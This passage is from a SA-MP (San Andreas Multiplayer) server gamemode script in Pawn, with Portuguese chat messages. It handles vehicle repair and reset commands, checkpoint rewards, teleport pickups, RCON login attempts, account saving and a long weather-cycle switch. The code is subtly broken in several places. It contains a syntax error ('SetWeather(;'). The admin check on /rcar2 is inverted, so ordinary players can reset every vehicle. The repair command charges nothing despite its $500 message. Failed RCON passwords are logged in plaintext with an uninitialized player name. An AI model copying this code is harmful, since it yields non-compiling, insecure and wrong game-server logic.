GivePlayerWeapon(playerid, 34, 900);
GivePlayerWeapon(playerid, 17, 100);
GivePlayerWeapon(playerid, 4, 1);
return 1;
}
if(!strcmp(cmdtext, "/reparar", true))
{
if(0 <= GetPlayerMoney(playerid))
{
if(IsPlayerInAnyVehicle(playerid))
{
RepairVehicle(GetPlayerVehicleID(playerid));
SendClientMessage(playerid, 0xAA3333AA, "O seu veiculo foi reparado com sucesso!");
GivePlayerMoney(playerid, 0);
}
else
{
SendClientMessage(playerid, 0xAA3333AA, "Cade teu carro?");
return 1;
}
}
else
{
SendClientMessage(playerid, 0xAA3333AA, "Você não tem verbas suficientes! Precisa $ 500");
return 1;
}
return 1;
}
if(!strcmp(cmdtext,"/rcar2",true)) {
if(IsPlayerConnected(playerid)) {
if(IsPlayerAdmin(playerid)) {
SendClientMessage(playerid, YELLOW, " Você não está autorizado a usar este comando!");
return 1;
}
new string[100];
new bool:unwanted[CAR_AMOUNT];
new playername[MAX_PLAYER_NAME];
for(new player=0; player<MAX_PLAYERS; player++) {
if(IsPlayerInAnyVehicle(player)) { unwanted[GetPlayerVehicleID(player)]=true; }
}
for(new car = 1; car <= 500; car++) {
if(!unwanted[car]) SetVehicleToRespawn(car);
}
GetPlayerName(playerid, playername, MAX_PLAYER_NAME);
format(string, sizeof(string), "O Admin %s Resetou Todos os Veiculos!.",playername);
SendClientMessageToAll(0xBFBF00AA, string);
}
return 1;
}
return SendClientMessage (playerid,0xFF0000AA, "Server: Comando Errado/Inexistente!");
}
public OnPlayerEnterVehicle(playerid, vehicleid, ispassenger)
{
return 1;
}
public OnPlayerExitVehicle(playerid, vehicleid)
{
SetTimer("VeiculosJack", 2000, false);
return 1;
}
public OnPlayerStateChange(playerid, newstate, oldstate)
{
return 1;
}
public OnPlayerEnterCheckpoint(playerid)
{
if(CPS_IsPlayerInCheckpoint(playerid,CP_Grana)) {
new string[100];
new playername[MAX_PLAYER_NAME];
SendClientMessage(playerid,0x008040AA,"Você Está Ganhando Dinheiro!");
GetPlayerName(playerid, playername, MAX_PLAYER_NAME);
GameTextForAll("Mate o Sujeito da area 51 !!",2000,3);
format(string, sizeof(string), "%s Está Ganhando Dinheiro Sem Matar ninguem! Elimine-o! Ele está na área 51!",playername);
SendClientMessageToAll(RED, string);
GivePlayerMoney(playerid, 10000);
GangZoneFlashForAll(Ganhargrana, BLUE);
SetTimer("Area51Money", 20000, false);
}
return 1;
}
public OnPlayerLeaveCheckpoint(playerid)
{
return 1;
}
public OnPlayerEnterRaceCheckpoint(playerid)
{
return 1;
}
public OnPlayerLeaveRaceCheckpoint(playerid)
{
return 1;
}
public OnRconCommand(cmd[])
{
if(!strcmp(cmd,"GMX1",true)) {
GameTextForAll("~g~G~r~M~b~X",3000,3);
print("Foi dado GMX pelo Admin Rcon!"); // This will appear to the player who typed the rcon command in the chat in white
GameModeExit();
return 1;
}
return 1;
}
public OnObjectMoved(objectid)
{
return 1;
}
public OnPlayerObjectMoved(playerid, objectid)
{
return 1;
}
public OnPlayerPickUpPickup(playerid, pickupid)
{
if(pickupid == pickupmijo) {
SetPlayerPos(playerid,582.2935,-2077.2378,2.8865);
SetPlayerFacingAngle( playerid, 270 ); //este
OnPlayerCommandText(playerid,"/Mijar");
}
if(pickupid == enterb) {
SetPlayerPos(playerid,575.7503,-2046.9207,16.1670);
}
if(pickupid == exitb) {
SetPlayerPos(playerid,1213.9677,-1815.5125,16.5938);
}
if(pickupid == entersp) {
SetPlayerPos(playerid,559.4380,-2092.8203,2.67120);
}
if(pickupid == exitsp) {
SetPlayerPos(playerid,561.7214,-2033.8285,16.1670);
}
if(pickupid == entersauna) {
SetPlayerPos(playerid,527.8544,-2082.4460,17.2253);
}
if(pickupid == exitsauna) {
SetPlayerPos(playerid,570.3227,-2093.3599,2.6448);
}
if(pickupid == bigjump) {
SetPlayerPos(playerid,578.5896,-2194.7065,7.1380);
}
if(pickupid == anim) {
ApplyAnimation(playerid,"DAM_JUMP","DAM_LAUNCH",2,0,1,1,0,0);
ApplyAnimation(playerid,"DAM_JUMP","DAM_LAUNCH",2,0,1,1,0,0);
}
return 1;
}
public OnVehicleMod(playerid, vehicleid, componentid)
{
return 1;
}
public OnVehiclePaintjob(playerid, vehicleid, paintjobid)
{
return 1;
}
public OnVehicleRespray(playerid, vehicleid, color1, color2)
{
return 1;
}
public OnPlayerSelectedMenuRow(playerid, row)
{
return 1;
}
public OnPlayerExitedMenu(playerid)
{
return 1;
}
public OnPlayerInteriorChange(playerid, newinteriorid, oldinteriorid)
{
return 1;
}
public OnPlayerKeyStateChange(playerid, newkeys, oldkeys)
{
if(newkeys == KEY_CROUCH) ClearAnimations(playerid);
return 1;
}
public OnRconLoginAttempt(ip[], password[], success)
{
if(!success) {
new playername[MAX_PLAYER_NAME];
printf("o jogador %s | IP %s Tentou logar na Rcon Usando a rcon '%s' e Errou!",playername, ip, password);
new pip[16];
for(new i=0; i<MAX_PLAYERS; i++) {
GetPlayerIp(i, pip, sizeof(pip));
if(!strcmp(ip, pip, true)) {
//Send a message
SendClientMessage(i, RED, "Senha Rcon Errada! Seus dados foram gravados");
//Send a message
SendClientMessage(i, RED, "em nosso sistema, Caso Venha a tentar novamente.");
Kick(i);
}
}
}
return 1;
}
public PlayerName(killerid)
{
return 1;
}
public OnPlayerUpdate(playerid)
{
if(GetPlayerPing(playerid) > 1500)Kick(playerid);
return 1;
}
public OnPlayerStreamIn(playerid, forplayerid)
{
return 1;
}
public OnPlayerStreamOut(playerid, forplayerid)
{
return 1;
}
public OnVehicleStreamIn(vehicleid, forplayerid)
{
return 1;
}
public OnVehicleStreamOut(vehicleid, forplayerid)
{
return 1;
}
public OnDialogResponse(playerid, dialogid, response, listitem, inputtext[])
{
return 1;
}
public OnPlayerClickPlayer(playerid, clickedplayerid, source)
{
return 1;
}
public MensagensJack()
{
new string[256];
new random1 = random(sizeof(mensagensJack));
new random2 = random(sizeof(cores));
format(string, sizeof(string), "%s", mensagensJack[random1]);
SendClientMessageToAll(cores[random2],string);
return 1;
}
public Area51Money()
{
for(new i = 0; i < MAX_PLAYERS; i++)
TogglePlayerControllable( i, 1);
GangZoneStopFlashForAll(Ganhargrana);
}
public VeiculosJack()
{
for(new i = 0; i < MAX_PLAYERS; i++)
TogglePlayerControllable( i, 1);
return 1;
}
public OnPlayerSave(playerid)
{
if(IsPlayerConnected(playerid)) {
new string3[32];
new playername3[MAX_PLAYER_NAME];
GetPlayerName(playerid, playername3, sizeof(playername3));
format(string3, sizeof(string3), "/Contas/%s.ini", playername3);
new File: hFile = fopen(string3, io_write);
if (hFile) {
new var[999];
format(var, 999, "Dinheiro= %d \n", GetPlayerMoney(playerid));fwrite(hFile, var);
format(var, 999, "Level= %d \n", Level[playerid]);fwrite(hFile, var);
}
}
return 1;
}
public Msg()
{
switch(CurrentMsg)
{
case 1: { SetWeather(0);
SendClientMessageToAll(0x33AA33AA,"Tempo --> Otimo Tempo.");
return CurrentMsg++; }
case 2: { SetWeather(;
SendClientMessageToAll(0x33AA33AA,"Tempo --> Tempo Chuvoso.");
return CurrentMsg++; }
case 3: { SetWeather(2);
SendClientMessageToAll(0x33AA33AA,"Tempo --> Otimo Tempo.");
return CurrentMsg++; }
case 4: { SetWeather(9);
SendClientMessageToAll(0x33AA33AA,"Tempo --> Tempo Com Neblina");
SendClientMessageToAll(0x33AA33AA,"Cuidado Motoristas...");
return CurrentMsg++; }
case 5: { SetWeather(1);
SendClientMessageToAll(0x33AA33AA,"Tempo --> Tempo Agradavel.");
return CurrentMsg++; }
case 6: { SetWeather(20);
SendClientMessageToAll(0x33AA33AA,"Tempo --> Tempo Chuvoso.");
return CurrentMsg++; }
case 7: { SetWeather(3);
SendClientMessageToAll(0x33AA33AA,"Tempo --> Tempo Bom.");
return CurrentMsg++; }
case 8: { SetWeather(19);
SendClientMessageToAll(0x33AA33AA,"Tempo --> Tempestade de areia.");
SendClientMessageToAll(0x33AA33AA,"Cuidado na Zona Norte. Tempestade Forte.");
return CurrentMsg++; }
case 9: { SetWeather(1);
SendClientMessageToAll(0x33AA33AA,"Tempo --> Tempo Otimo.");
return CurrentMsg++; }
case 10: { SetWeather(27);
SendClientMessageToAll(0x33AA33AA,"Tempo --> Ceu Limpo.");
return CurrentMsg++; }
case 11: { SetWeather(27);
SendClientMessageToAll(0x33AA33AA,"Tempo --> Ceu Limpo.");
return CurrentMsg++; }
case 12: { SetWeather(0);
SendClientMessageToAll(0x33AA33AA,"Tempo --> Tempo Otimo");
return CurrentMsg++; }
case 13: { SetWeather(3);
SendClientMessageToAll(0x33AA33AA,"Tempo --> Tempo Otimo.");
return CurrentMsg++; }
case 14: { SetWeather(2);
SendClientMessageToAll(0x33AA33AA,"Tempo --> Tempo Otimo.");
return CurrentMsg++; }
case 15: { SetWeather(9);
SendClientMessageToAll(0x33AA33AA,"Tempo --> Tempo de Neblina.");
SendClientMessageToAll(0x33AA33AA,"Cuidado Motoristas...");
return CurrentMsg++; }
case 16: { SetWeather(1);
SendClientMessageToAll(0x33AA33AA,"Tempo --> Tempo Otimo.");
return CurrentMsg++; }
case 17: { SetWeather(20);
SendClientMessageToAll(0x33AA33AA,"Tempo --> Tempo Chuvoso.");
return CurrentMsg++; }
case 18: { SetWeather(3);
SendClientMessageToAll(0x33AA33AA,"Tempo --> Tempo Otimo.");
return CurrentMsg++; }
case 19: { SetWeather(3);
SendClientMessageToAll(0x33AA33AA,"Tempo --> Tempo Otimo.");
return CurrentMsg++; }
case 20: { SetWeather(1);
SendClientMessageToAll(0x33AA33AA,"Tempo --> Tempo Otimo.");
return CurrentMsg++; }
case 21: { SetWeather(27);
SendClientMessageToAll(0x33AA33AA,"Tempo --> Ceu Limpo.");
return CurrentMsg++; }
case 22: { SetWeather(2);
SendClientMessageToAll(0x33AA33AA,"Tempo --> Dia Bom.");
return CurrentMsg++; }
case 23: { SetWeather(0);
SendClientMessageToAll(0x33AA33AA,"Tempo --> Dia Bom.");
return CurrentMsg++; }
case 24: { SetWeather(9);
SendClientMessageToAll(0x33AA33AA,"Tempo --> Tempo de Neblina.");
SendClientMessageToAll(0x33AA33AA,"Cuidado Motoristas...");
return CurrentMsg++; }
case 25: { SetWeather(20);
SendClientMessageToAll(0x33AA33AA,"Tempo --> Tempo Chuvoso.");
return CurrentMsg++; }
case 26: { SetWeather(19);
SendClientMessageToAll(0x33AA33AA,"Tempo --> Tempestade de areia.");
SendClientMessageToAll(0x33AA33AA,"Cuidado na Zona Norte. Tempestade Forte.");
return CurrentMsg++; }
case 27: { SetWeather(2);
SendClientMessageToAll(0x33AA33AA,"Tempo --> Otimo Tempo.");
return CurrentMsg++; }
case 28: { SetWeather(9);
SendClientMessageToAll(0x33AA33AA,"Tempo --> Tempo Com Neblina");
SendClientMessageToAll(0x33AA33AA,"Cuidado Motoristas...");
return CurrentMsg++; }
case 29: { SetWeather(19);
SendClientMessageToAll(0x33AA33AA,"Tempo --> Tempestade de areia.");
SendClientMessageToAll(0x33AA33AA,"Cuidado na Zona Norte. Tempestade Forte.");
return CurrentMsg++; }
case 30: { SetWeather(1);
SendClientMessageToAll(0x33AA33AA,"Tempo --> Tempo Otimo.");
return CurrentMsg++; }
case 31: { SetWeather(9);
SendClientMessageToAll(0x33AA33AA,"Tempo --> Tempo Com Neblina");
SendClientMessageToAll(0x33AA33AA,"Cuidado Motoristas...");
return CurrentMsg++; }
case 32: { SetWeather(1);
SendClientMessageToAll(0x33AA33AA,"Tempo --> Tempo Otimo.");
return CurrentMsg++; }
case 33: { SetWeather(19);
SendClientMessageToAll(0x33AA33AA,"Tempo --> Tempestade de areia.");
SendClientMessageToAll(0x33AA33AA,"Cuidado na Zona Norte. Tempestade Forte.");
return CurrentMsg++; }
case 34: { SetWeather(0);
SendClientMessageToAll(0x33AA33AA,"Tempo --> Dia Bom.");
return CurrentMsg++; }
case 35: { SetWeather(27);
SendClientMessageToAll(0x33AA33AA,"Tempo --> Ceu Limpo.");
return CurrentMsg++; }
case 36: { SetWeather(20);
SendClientMessageToAll(0x33AA33AA,"Tempo --> Tempo Chuvoso.");
return CurrentMsg++; }
case 37: { SetWeather(27);
SendClientMessageToAll(0x33AA33AA,"Tempo --> Ceu Limpo.");
return CurrentMsg++; }
case 38: { SetWeather(19);
SendClientMessageToAll(0x33AA33AA,"Tempo --> Tempestade de areia.");
SendClientMessageToAll(0x33AA33AA,"Cuidado na Zona Norte. Tempestade Forte.");
return CurrentMsg++; }
case 39: { SetWeather(9);
SendClientMessageToAll(0x33AA33AA,"Tempo --> Tempo Com Neblina");
SendClientMessageToAll(0x33AA33AA,"Cuidado Motoristas...");
return CurrentMsg++; }
case 40: { SetWeather(20);
SendClientMessageToAll(0x33AA33AA,"Tempo --> Tempo Chuvoso.");
return CurrentMsg++; }
case 41: { SetWeather(19);
SendClientMessageToAll(0x33AA33AA,"Tempo --> Tempestade de areia.");
SendClientMessageToAll(0x33AA33AA,"Cuidado na Zona Norte. Tempestade Forte.");
return CurrentMsg++; }
case 42: { SetWeather(9);
SendClientMessageToAll(0x33AA33AA,"Tempo --> Tempo Com Neblina");
SendClientMessageToAll(0x33AA33AA,"Cuidado Motoristas...");
return CurrentMsg++; }
case 43: { SetWeather(27);
SendClientMessageToAll(0x33AA33AA,"Tempo --> Ceu Limpo.");
return CurrentMsg++; }
case 44: { SetWeather(19);
SendClientMessageToAll(0x33AA33AA,"Tempo --> Tempestade de areia.");
SendClientMessageToAll(0x33AA33AA,"Cuidado na Zona Norte. Tempestade Forte.");
return CurrentMsg++; }
case 45: { SetWeather(27);
SendClientMessageToAll(0x33AA33AA,"Tempo --> Ceu Limpo.");
return CurrentMsg++; }
}
return 1;
}
public Corrupto()
{
switch(CurrentCorrupto)
{
case 1: { SendClientMessageToAll(0x33AA33AA,"Corrupto --> Cabo da PM.");
return CurrentCorrupto++; }
case 2: { SendClientMessageToAll(0x33AA33AA,"Corrupto --> Soldado da PM.");
return CurrentCorrupto++; }
case 3: { SendClientMessageToAll(0x33AA33AA,"Corrupto --> Sargento da PM.");
return CurrentCorrupto++; }
case 4: { SendClientMessageToAll(0x33AA33AA,"Corrupto --> Tenente da PM.");
return CurrentCorrupto++; }
case 5: { SendClientMessageToAll(0x33AA33AA,"Corrupto --> Aspirante da PM.");
return CurrentCorrupto++; }
case 6: { SendClientMessageToAll(0x33AA33AA,"Corrupto --> Capitão da PM.");
return CurrentCorrupto++; }
case 7: { SendClientMessageToAll(0x33AA33AA,"Corrupto --> Sargento do BOPE.");
return CurrentCorrupto++; }
case 8: { SendClientMessageToAll(0x33AA33AA,"Corrupto --> Tenente do BOPE.");
return CurrentCorrupto++; }
case 9: { SendClientMessageToAll(0x33AA33AA,"Corrupto --> Aspirante do BOPE.");
return CurrentCorrupto++; }
}
return 1;
}
public RandomServerNames()
{
new string[256];
new random1 = random(sizeof(SVNAMES));
format(string, sizeof(string), "hostname %s", SVNAMES[random1] );
SendRconCommand(string);
return 1;
}